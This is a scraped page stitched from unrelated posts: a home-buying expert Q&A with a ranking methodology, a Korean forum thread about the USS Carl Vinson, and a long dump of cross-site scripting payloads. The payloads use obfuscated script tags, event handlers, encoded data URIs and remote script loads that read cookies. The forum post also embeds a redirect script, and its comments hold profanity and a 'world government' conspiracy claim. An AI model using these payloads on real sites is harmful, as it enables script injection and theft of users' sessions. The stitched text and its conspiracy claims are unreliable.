Invest more infrastructure dollars in existing and new transit, biking and walking infrastructure, which will allow for more walkable urban housing to be built. Currently, only 20% of federal infrastructure goes to walkable urban infrastructure, 80% for highways. There have been hundreds of local bond measures for transit over the past decade, and over 70% have passed raising local taxes, primarily sales taxes, to build more transit. In 2016, over $200 billion of new taxes were raised locally for transit in just that year; in comparison, the federal government spends $60 billion on all transportation per year. So the encouragement of more local spending on transit, biking and walking infrastructure will help make more walkable urban housing happen, and lower household transportation costs.
Fight NIMBY (Not In My Back Yard) opposition to higher density housing, particularly in walkable urban places. NIMBYs cause housing prices to spike unnecessarily by putting supply constraints on the market. Plus, it is estimated that 1-2% of additional annual GDP growth would occur if NIMBYs would be overridden and the market can give us what we want. Also, walkable urban housing is by far the most environmentally sustainable; moving a household from a drivable sub-urban location to a walkable urban place drops green house gas emissions by 50-80%, the number one way we can address climate change.
Alessandro Rebucci Assistant Professor of Economics, Finance and Real Estate at Johns Hopkins Carey Business School What should first-time home buyers consider when choosing a neighborhood? The old adage says “location,” “location,” “location.” What that means nowadays is proximity to urban areas where health, education, and other services are easily accessible, with short commutes, and plenty of labor demand. Properties (and especially apartments) with these characteristics are likely to be more liquid investments (easily resalable), and appreciate or preserve more values over the next several years. The millions of millennials who are shaping the market have developed a taste for these types of housing solutions, and will provide strong support to these markets for years to come. How do you know that you are financially ready to buy your first home? Job security is important to be able to service a mortgage smoothly. That means the confidence that rain or shine, a well-paid job can be easily found. If you are struggling to find employment, homeownership is not yet for you, and might be the rope around your neck if somehow acquired through lax underwriting or easy loans at the top of the credit cycle. In general, comparing cost of renting with cost of owning is a good disciplining exercise. If owning is cheaper than renting and the differential can be locked in for a few years, don’t miss out on the opportunity to start building some equity and wealth. What do you recommend as the minimum down payment for a first-time home buyer? It depends. I bought my first apartment in D.C. 20 years ago, with $7,000. It was an FHA-approved property and I was supposed to put 5% percent down, but they made a mistake and I ended up putting only 3% down, and got some cash back at closing. I used the capital gain from that first apartment to buy a small house when my children were born. Were it not for the FHA loan with 5% down, I would not have become a homeowner until much later. But I entered the market at the very bottom of the cycle and I knew it. To be safe, 20% is a good margin. We are not going to see prices dropping by more than that in a few years, like during the last crisis, anytime soon again. What effect did Trump’s Executive Order increasing the cost of FHA-backed loans have on first-time homebuyers? As my story above illustrates, it did not help. The GSEs face a number of problems, and the U.S. system of housing finance is in need of reform, including cutting back on a number of generous subsidies. But I am not sure that can be achieved or even started with a piecemeal approach, targeting this or that specific spot in the system. How can federal, state and local policymakers responsibly and effectively increase home affordability, particularly for first time homebuyers? If you are in the formal job market, homeownership is accessible and affordable in the U.S. What in my opinion was lost over the past couple of decades is equal opportunity of employability across segment of the income, and wealth distribution. Or, to put it differently, we have an issue of access to education, not access to the housing market. Good education leads to good access to the labor market, and that brings with it access to the housing and health insurance market. It is education, from child care to higher education, where the U.S. is in need of a serious rethinking of its public policies.
Methodology
To determine the most favorable housing markets for first-time home buyers, WalletHub’s analysts compared a sample of 300 U.S. cities (varying in size) across three key dimensions: 1) Affordability, 2) Real-Estate Market and 3) Quality of Life.
We evaluated those dimensions using 23 relevant metrics, which are listed below with their corresponding weights. Each metric was graded on a 100-point scale, with a score of 100 representing the most favorable conditions for first-time home buyers. Data for metrics marked with an asterisk (*) were available at the state level only.
Finally, we determined each city’s weighted average across all metrics to calculate its total score then used the resulting scores to rank-order our sample. Our sample considers only the city proper in each case and excludes cities in the surrounding metro area. Each city was categorized according to the following population-size guidelines:
Large cities: More than 300,000 people
Midsize cities: 150,000 to 300,000 people
Small cities: Fewer than 150,000 people
Affordability – Total Points: 33.33
Housing Affordability: Triple Weight (~14.29 Points)Note: This metric was calculated as follows: Median House Price / Median Annual Household Income.
Average Cost of Homeowner’s Insurance: Full* Weight (~4.76 Points)
Cost of Living: Full Weight (~4.76 Points)
Cost per Square Foot: Full Weight (~4.76 Points)Note: This metric measures specifically the median list price per average home square footage.
Real-Estate Tax Rate: Full Weight (~4.76 Points)
Real-Estate Market – Total Points: 33.33
Rent-to-Price-Ratio: Double Weight (~6.06 Points)
Housing-Market Health Index: Full Weight (~3.03 Points)
Share of Homes Sold in One Year: Full Weight (~3.03 Points)
Median Home-Price Appreciation: Double Weight (~6.06 Points)
Foreclosure Rate: Full Weight (~3.03 Points)
Buy vs. Rent Breakeven Horizon: Full Weight (~3.03 Points)Note: The “breakeven horizon” is defined by Zillow as the point, in years, at which buying a home becomes less expensive than renting the same home.
Share of Listings with Price Cuts: Full Weight (~3.03 Points)
Share of Housing Units Built between 2010 and 2015: Full Weight (~3.03 Points)
Building-Permit Activity: Full Weight (~3.03 Points)Note: This metric measures the number of unit permits pulled per 1,000 residents.
Quality of Life – Total Points: 33.33
Recreation-Friendliness: Full Weight (~3.33 Points)Note: This metric is based on WalletHub’s “Best & Worst Cities for Recreation” ranking.
Recession Recovery: Full Weight (~3.33 Points)Note: This metric is based on WalletHub’s “Most & Least Recession-Recovered Cities” ranking.
Weather: Full Weight (~3.33 Points)Note: This metric is based on WalletHub’s “Cities with the Best & Worst Weather” ranking.
Quality of School System: Double Weight (~6.67 Points)Note: This metric is based on WalletHub’s “States with the Best & Worst School Systems” ranking.
Driver-Friendliness: Full Weight (~3.33 Points)Note: This metric is based on WalletHub’s “Best & Worst Cities to Drive in” ranking.
Job Market: Full Weight (~3.33 Points)Note: This metric is based on WalletHub’s “Best & Worst Cities for Jobs” ranking.
Total Home-Energy Cost: Full Weight (~3.33 Points)
Violent-Crime Rate: Full Weight (~3.33 Points)
Property-Crime Rate: Full Weight (~3.33 Points)
 Sources: Data used to create this ranking were collected from the U.S. Census Bureau, Council for Community and Economic Research, Zillow, Federal Bureau of Investigation, Insurance Information Institute, AreaVibes, Renwood RealtyTrac and WalletHub research.
0 notes
tastyroadxyz-blog · 8 years ago
Text
칼빈슨 항모의 행로를 가지고 장난치는 기레기들
New Post has been published on http://tastyroad.xyz/%ec%b9%bc%eb%b9%88%ec%8a%a8-%ed%95%ad%eb%aa%a8%ec%9d%98-%ed%96%89%eb%a1%9c%eb%a5%bc-%ea%b0%80%ec%a7%80%ea%b3%a0-%ec%9e%a5%eb%82%9c%ec%b9%98%eb%8a%94-%ea%b8%b0%eb%a0%88%ea%b8%b0%eb%93%a4/
칼빈슨 항모의 행로를 가지고 장난치는 기레기들
     ​(알아보자) 칼 빈슨 캐리어 스트라이크 그룹(CSG) 어디있나?          
                                     2017.04.20 00:07:48 (*.57.*.194)
트럼프 대통령의 명령으로 호주 해군과의 합동 훈련을 취소하고 싱가포르를 떠나
한반도를 향하고 있다고 기사가 나왔었다.
  그런데 최근 칼 빈슨 CSG 가 호주 해군과의 합동 훈련을 예정대로 마치고
한반도를 향하지 않았다는 기사가 나와서 알아 보았다.
  미해군연구소(US Naval Institute) 4월 19일 인터넷 기사를 보니
  1. 칼 빈슨 CSG 사령관 짐 킬비 해군소장은 칼 빈슨의 한반도 파견기간이
한달 연장 되었다고 어제(18일) 말했다.
  2. 호주해군과의 합동 훈련은 취소 된 것이 아니라 축소해서 훈련을 마쳤다.
    호주의 프레맨틀 항 방문을 취소한다고 발표한 것이 혼선을 빚은 것이다.
    항구 방문만 취소한 것이고 한반도 작전을 위해 합동훈련은 압축해서 했다
  3. 칼 빈슨은 서 태평양 어디엔가 있고 일주일 뒤쯤 한반도 가까운 해역에 도착할 것이다.
      4월 15일 이후 정확한 위치는 기밀인 것 같다 –
러시아, 중국의 스파이선이 추적하고 있다는 기사도 있었다
결론: 칼 빈슨 CSG 예정대로 작전 수행 중
  좌표 
location.target = "_blank"; location.href="http://event.limetv.co.kr/?p_id=ttiik0421&types=7";
      2017.04.20 00:13:00 (*.39.*.150)
한반도에서의 작전이 칼빈슨 스트라이크 그룹이 한달간 연장되었다는 것임. 원래는 한미합동훈련기간인 4월말까지인데 5월까지로 연장되었다는 내용임. 현재 위치는 미국에서는 당연히 극비사항임. 다른 항모의 한반도 도착시기와 맞추려고 늦추는 것으로 판단할 수 있음. 늦어도 4월말 이전에는 한반도에 전개한다는 후속발표가 있었음.ㅎ
2017.04.20 00:16:10 (*.121.*.162)
우리나라에 인재가이렇게도없냐? 별등신같은것들이 대통령한다고…
진짜 씨발(미안타, 도저히 욕을안할수가없다) 제발 전쟁이나 나버려라. 빌고빈다.
2017.04.20 00:19:44 (*.113.*.30)
베충아  훌륭하다!!
2017.04.20 02:44:00 (*.57.*.194)
Hus
Aircraft Carrier Wasn’t Sailing to Deter North Korea, as U.S. Suggested By MARK LANDLER and ERIC SCHMITTAPRIL 18, 2017 뉴욕타임즈가 이런 기사를 써서 내가 올린 것이다. “간다더니 아니네”라고
그런데 한술 더떠서 최상훈이라는 자가 19일자 뉴욕타임즈 기사에 U.S. Aircraft Carrier Revelation Leaves South Koreans Feeling Cheated By CHOE SANG-HUN APRIL 19, 2017 “칼 빈슨에 대해 들어난 사실로 인해 한국인들은 속임당했다는 기분을 갖고있다.” 라고 썼네 트럼프가 뻥쳤단 소린데 이런 거짓말이 어딨냐?
천하의 뉴욕타임즈가 이젠 찌라시 선봉이고 한인 특파원은 좌빨의 나팔수라는 기막힌 현실
          ​
미국 주류 언론들이 트럼프와 적대적인 관계라는 것을 알면 이 상황이 이해하기가 쉬습니다.
북한은 원래 오바마정권아래서 세계정부 세력들이 전략적으로 키워준 애완견이었는데
트럼프의전혀 다른 세계전략의 구상으로 그 효용성이 다해버린 것이죠.
그러나 미국 주류언론들은 여전히 세계정부세력들이 장악하고 있습니다.
0 notes
shaon1435 · 8 years ago
Text
</script>"><script>prompt(1)</script></ScRiPt>"><ScRiPt>prompt(1)</ScRiPt>"><img src=x onerror=prompt(1)>"><svg/onload=prompt(document.domain)>"><iframe/src=javascript:prompt(1)>"><h1 onclick=prompt(1)>Clickme</h1>"><a href=javascript:prompt(1)>Clickme</a>"><a href="javascript:confirm%28 1%29">Clickme</a>"><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a>"><textarea autofocus onfocus=prompt(1)>"><a/href=javascript&colon;co\u006efir\u006d("1")>clickme</a>"><script>co\u006efir\u006d`1`</script>"><ScRiPt>co\u006efir\u006d`1`</ScRiPt>"><img src=x onerror=co\u006efir\u006d`1`>"><svg/onload=co\u006efir\u006d`1`>"><iframe/src=javascript:co\u006efir\u006d%28 1%29>"><h1 onclick=co\u006efir\u006d(1)>Clickme</h1>"><a href=javascript:prompt%28 1%29>Clickme</a>"><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a>"><textarea autofocus onfocus=co\u006efir\u006d(1)>"><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome"><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme"><img/src=x%0Aonerror=prompt`1`>"><iframe srcdoc="<img src&equals;x:x onerror&equals;alert&lpar;1&rpar;>">"><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1><iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00><svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"<sVg><scRipt %00>alert&lpar;1&rpar; {Opera}<img/src=`%00` onerror=this.onerror=confirm(1)<form><isindex formaction="javascript&colon;confirm(1)"<img src=`%00`&NewLine; onerror=alert(1)&NewLine;<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script><ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="><script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/"><h1/onmouseover='\u0061lert(1)'>%00<iframe/src="data:text/html,<svg onload=alert(1)>"><meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/><svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}<meta http-equiv="refresh" content="0;url=javascript:confirm(1)"><iframe src=javascript&colon;alert&lpar;document&period;location&rpar;><form><a href="javascript:\u0061lert(1)">X</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'><img/ &#11; src=`~` onerror=prompt(1)><form><iframe &#11; src="javascript:alert(1)"&#11; ;><a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" &#11;>X</ahttp://www.google<script .com>alert(document.location)</script<a href=[&#00;]"&#00; onmouseover=prompt(1)//">XYZ</a<img/src=@ onerror = prompt('1')<style/onload=prompt('XSS')<script ^__^>alert(String.fromCharCode(49))</script ^__^</style ><script :-(>/**/alert(document.location)/**/</script :-(&#00;</form><input type="date" onfocus="alert(1)"><form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'><script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/<iframe srcdoc='<body onload=prompt&lpar;1&rpar;>'><a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a><script ~~~>alert(0%0)</script ~~~><style/onload=<!-- >alert&lpar;1&rpar;><///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)"><svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'<blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}<marquee onstart='javascript:alert(1)'>^__^<div/style="width:expression(confirm(1))">X</div> {IE7}<iframe/%00/ src=javaSCRIPT&colon;alert(1)//<form/action=javascript:alert&lpar;document&period;cookie&rpar;><input/type='submit'>///*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\</font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style><a/href="javascript: javascript:prompt(1)"><input type="X"></plaintext\></|\><plaintext/onmouseover=prompt(1)</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}<a href="javascript&colon;\u0061l&#101%72t&lpar;1&rpar;"><button><div onmouseover='alert&lpar;1&rpar;'>DIV</div><iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"><a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a><embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"><object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"><var onmouseover="prompt(1)">On Mouse Over</var><a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a><img src="/" =_=" title="onerror='prompt(1)'"><%<!--'%><script>alert(1);</script --><script src="data:text/javascript,alert(1)"></script><iframe/src \/\/onload = prompt(1)<iframe/onreadystatechange=alert(1)<svg/onload=alert(1)<input value=<><iframe/src=javascript:confirm(1)<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>http://www.<script>alert(1)</script .com<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe><svg><script ?>alert(1)<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe><img src=`xx:xx`onerror=alert(1)><meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/><math><a xlink:href="//jsfiddle.net/t846h/">click<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always><svg contentScriptType=text/vbs><script>MsgBox+1<a href="data:text/html;base64_,<svg/onload=\u0061l&#101%72t(1)>">X</a<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE><script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script<object data=javascript&colon;\u0061l&#101%72t(1)><script>+-+-1-+-+alert(1)</script><body/onload=<!-->&#10alert(1)><script itworksinallbrowsers>/*<script* */alert(1)</script<img src ?itworksonchrome?\/onerror = alert(1)<svg><script>//&NewLine;confirm(1);</script </svg><svg><script onlypossibleinopera:-)> alert(1)<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe<script x> alert(1) </script 1=2<div/onmouseover='alert(1)'> style="x:"><--`<img/src=` onerror=alert(1)> --!><script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,alert(1)></script><div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>"><img src=x onerror=window.open('https://www.google.com/');><form><button formaction=javascript&colon;alert(1)>CLICKME<math><a xlink:href="//jsfiddle.net/t846h/">click<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe><a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
0 notes